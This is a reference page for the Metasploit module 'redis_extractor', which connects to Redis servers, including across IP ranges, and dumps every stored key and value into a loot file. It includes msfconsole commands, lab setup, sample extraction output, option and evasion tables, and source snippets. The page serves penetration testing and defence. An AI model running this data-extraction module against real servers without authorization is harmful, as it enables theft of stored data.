Redis Extractor - Metasploit
This page contains detailed information about how to use the auxiliary/gather/redis_extractor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Redis Extractor
Module: auxiliary/gather/redis_extractor
Source code: modules/auxiliary/gather/redis_extractor.rb
Disclosure date: -
Last modification time: 2021-06-04 10:22:42 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 6379
List of CVEs: -
This module connects to a Redis instance and retrieves keys and data stored.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/gather/redis_extractor
msf auxiliary(redis_extractor) > show options
... show and set options ...
msf auxiliary(redis_extractor) > set RHOSTS ip-range
msf auxiliary(redis_extractor) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(redis_extractor) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(redis_extractor) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(redis_extractor) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module attaches to a Redis instance and extracts all stored keys and their associated data. If multiple databases are present the module will iterate through each.
This module works on Redis versions 2.8.0 and later, and has been tested on versions through 6.0.8.
To prepare a test instance of Redis,first install Redis v2.8.0 or greater. This can be done in docker with:
docker run -d -p 6379:6379 --name redis redis
Next, add some data to the database:
echo 'set key1 value1' | nc 127.0.0.1 6379 > /dev/null
(MacOS, may differ on Linux)
Alternately, to run docker with a password:
docker run -d -p 6379:6379 --name redis redis --requirepass abcde
echo 'auth abcde \n set key2 value2' | nc 127.0.0.1 6379 > /dev/null
Verification Steps
- Install Redis and add data as described above.
- Start
msfconsole
- Do:
use auxiliary/gather/redis_extractor
- Do:
set rhosts [ip.of.redis.app]
- Do:
set PASSWORD [redis_password]
(optional) - Do:
check
(optional) - You will receive information about the Redis instalce.
- Do:
run
- You will receive a screendump of the cached keys and contet.
- A CSV file with keys and content will be saved in your loot directory.
Options
PASSWORD
The password for the redis instance. This value will be ignored for instances with no password required.
LIMIT_COUNT
Stop after retrieving this number of keys, per datastore. Note that one redis instance may have more than one datastore. This modules also pulls values down in batches, so it may go slightly over this limit.
Scenarios
Check
msf6 > use auxiliary/gather/redis_extractor
msf6 auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168
rhosts => 172.22.12.168
msf6 auxiliary(gather/redis_extractor) > check
[+] 172.22.12.168:6379 - Connected to Redis version 6.0.8
[*] 172.22.12.168:6379 - OS is Linux 5.4.39-linuxkit x86_64
[*] 172.22.12.168:6379 - The target appears to be vulnerable.
msf6 auxiliary(gather/redis_extractor) >
Run
msf6 > use auxiliary/gather/redis_extractor
msf6 auxiliary(gather/redis_extractor) > set rhosts 172.22.12.168
rhosts => 172.22.12.168
msf6 auxiliary(gather/redis_extractor) > run
[+] 172.22.12.168:6379 - Connected to Redis version 6.0.8
[*] 172.22.12.168:6379 - Extracting about 1 keys from database 0
Data from 172.22.12.168:6379 database 0
==========================================
Key Value
--- -----
key1 value1
[+] 172.22.12.168:6379 - Redis data stored at /root/.msf4/loot/20201113203708_default_172.22.12.168_redis.dump_db0_836292.txt
[*] 172.22.12.168:6379 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/redis_extractor) >
Go back to menu.
Msfconsole Usage
Here is how the gather/redis_extractor auxiliary module looks in the msfconsole:
msf6 > use auxiliary/gather/redis_extractor
msf6 auxiliary(gather/redis_extractor) > show info
Name: Redis Extractor
Module: auxiliary/gather/redis_extractor
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Geoff Rainville noncenz <Geoff Rainville [email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LIMIT_COUNT no Stop after retrieving this many entries, per database
PASSWORD foobared no Redis password for authentication test
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module connects to a Redis instance and retrieves keys and data
stored.
References:
https://redis.io/topics/protocol
Module Options
This is a complete list of options available in the gather/redis_extractor auxiliary module:
msf6 auxiliary(gather/redis_extractor) > show options
Module options (auxiliary/gather/redis_extractor):
Name Current Setting Required Description
---- --------------- -------- -----------
LIMIT_COUNT no Stop after retrieving this many entries, per database
PASSWORD foobared no Redis password for authentication test
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 6379 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the gather/redis_extractor auxiliary module:
msf6 auxiliary(gather/redis_extractor) > show advanced
Module advanced options (auxiliary/gather/redis_extractor):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
READ_TIMEOUT 2 yes Seconds to wait while reading redis responses
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the gather/redis_extractor module can do:
msf6 auxiliary(gather/redis_extractor) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the gather/redis_extractor auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(gather/redis_extractor) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to connect to Redis
Here is a relevant code snippet related to the "Unable to connect to Redis" error message:
97: print_good("Connected to Redis version #{redis_version}")
98: end
99:
100: # Some connection attempts such as incorrect password set fail silently in the Redis library.
101: if !info_data
102: print_error('Unable to connect to Redis')
103: print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
104: return
105: end
106:
107: # Ensure version compatability
Set verbose true to troubleshoot
Here is a relevant code snippet related to the "Set verbose true to troubleshoot" error message:
98: end
99:
100: # Some connection attempts such as incorrect password set fail silently in the Redis library.
101: if !info_data
102: print_error('Unable to connect to Redis')
103: print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
104: return
105: end
106:
107: # Ensure version compatability
108: if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
Unable to connect to Redis
Here is a relevant code snippet related to the "Unable to connect to Redis" error message:
112:
113: # Connection was sucessful
114: return info_data
115: rescue Msf::Auxiliary::Failed => e
116: # This error trips when auth is required but password not set
117: print_error('Unable to connect to Redis: ' + e.message)
118: return
119: rescue Rex::ConnectionTimeout
120: print_error('Timed out trying to connect to Redis')
121: return
122: rescue StandardError
Timed out trying to connect to Redis
Here is a relevant code snippet related to the "Timed out trying to connect to Redis" error message:
115: rescue Msf::Auxiliary::Failed => e
116: # This error trips when auth is required but password not set
117: print_error('Unable to connect to Redis: ' + e.message)
118: return
119: rescue Rex::ConnectionTimeout
120: print_error('Timed out trying to connect to Redis')
121: return
122: rescue StandardError
123: print_error('Unknown error trying to connect to Redis')
124: return
125: end
Unknown error trying to connect to Redis
Here is a relevant code snippet related to the "Unknown error trying to connect to Redis" error message:
118: return
119: rescue Rex::ConnectionTimeout
120: print_error('Timed out trying to connect to Redis')
121: return
122: rescue StandardError
123: print_error('Unknown error trying to connect to Redis')
124: return
125: end
126:
127: def check_host(_ip)
128: info_data = redis_connect
No keys returned
Here is a relevant code snippet related to the "No keys returned" error message:
182: break if max_results && all_results.count >= max_results
183: break if new_offset == '0'
184: end
185:
186: if all_results.empty?
187: print_status('No keys returned')
188: next
189: end
190:
191: # Report data in terminal
192: result_table = Rex::Text::Table.new(
Go back to menu.
Related Pull Requests
- #15293 Merged Pull Request: Redis extractor improvements
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14702 Merged Pull Request: Add module Redis extractor
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/redis/redis_login
- auxiliary/scanner/redis/redis_server
- exploit/linux/redis/redis_debian_sandbox_escape
- exploit/linux/redis/redis_replication_cmd_exec
- post/windows/gather/credentials/redis_desktop_manager
- auxiliary/scanner/redis/file_upload
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/zyxel_admin_password_extractor
- auxiliary/gather/memcached_extractor
Authors
- Geoff Rainville noncenz[at]ultibits.com
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.